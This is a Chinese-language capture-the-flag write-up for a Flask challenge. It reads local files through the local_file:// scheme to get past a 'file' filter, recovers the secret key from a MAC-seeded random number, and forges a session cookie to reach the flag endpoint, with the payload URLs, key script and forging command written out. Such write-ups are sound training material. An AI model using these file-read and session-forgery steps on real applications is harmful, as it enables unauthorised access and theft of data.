# 涉及知识点

  • 信息收集 任意文件读取
  • Flask 模块
  • 伪随机数
  • session 构造

# 题目分析

打开题目 Hello World! Read somethings

给出一个链接 点击后 跳转到百度界面

1
http://xxx.buuoj.cn:81/read?url=https://baidu.com

初步推测 ssrf 尝试 file 协议失败 local_file:// 协议成功 读取文件

1
2
3
?url=local_file:///proc/self/cmdline   
#/usr/local/bin/python/app/app.py
?url=local_file://app/app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print str(ex)
return 'no response'

@app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'

if __name__=='__main__':
app.run(
debug=True,
host="0.0.0.0"
)

分析源码可知 当访问 /flag 时 session [‘username’] == ‘fuck’ 可以直接获得 flag

# 开始构造

1
2
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)

对于随机数如果 seed 固定 则生成随机数可预测

tips: uuid.getnode () 获得 mac 地址image-20210927205724149

1
2
3
random.seed(1)
print(random.random())
#如果使用python3 可以推测第一次都为 0.13436424411240122 同理如果我们获得 seed 即可构造session

linux 下 mac 地址的位置 /sys/class/net/eth0/address

1
2
3
4
5
6
import random
mac = "02:42:ac:10:83:a8"
random.seed(int(mac.replace(":", ""), 16))
key = str(random.random() * 233)
print(key)
#34.5940640088

这里用 python2 环境

# 生成 session

使用工具 flask-session-cookie-manager

这里有个超级大坑反正我是用 python2 一直没出 怀疑人生 让后 python3 直接出了

1
python3 flask_session_cookie_manager3.py encode -s 34.5940640088 -t "{'username':'fuck'}"

image-20210927211221410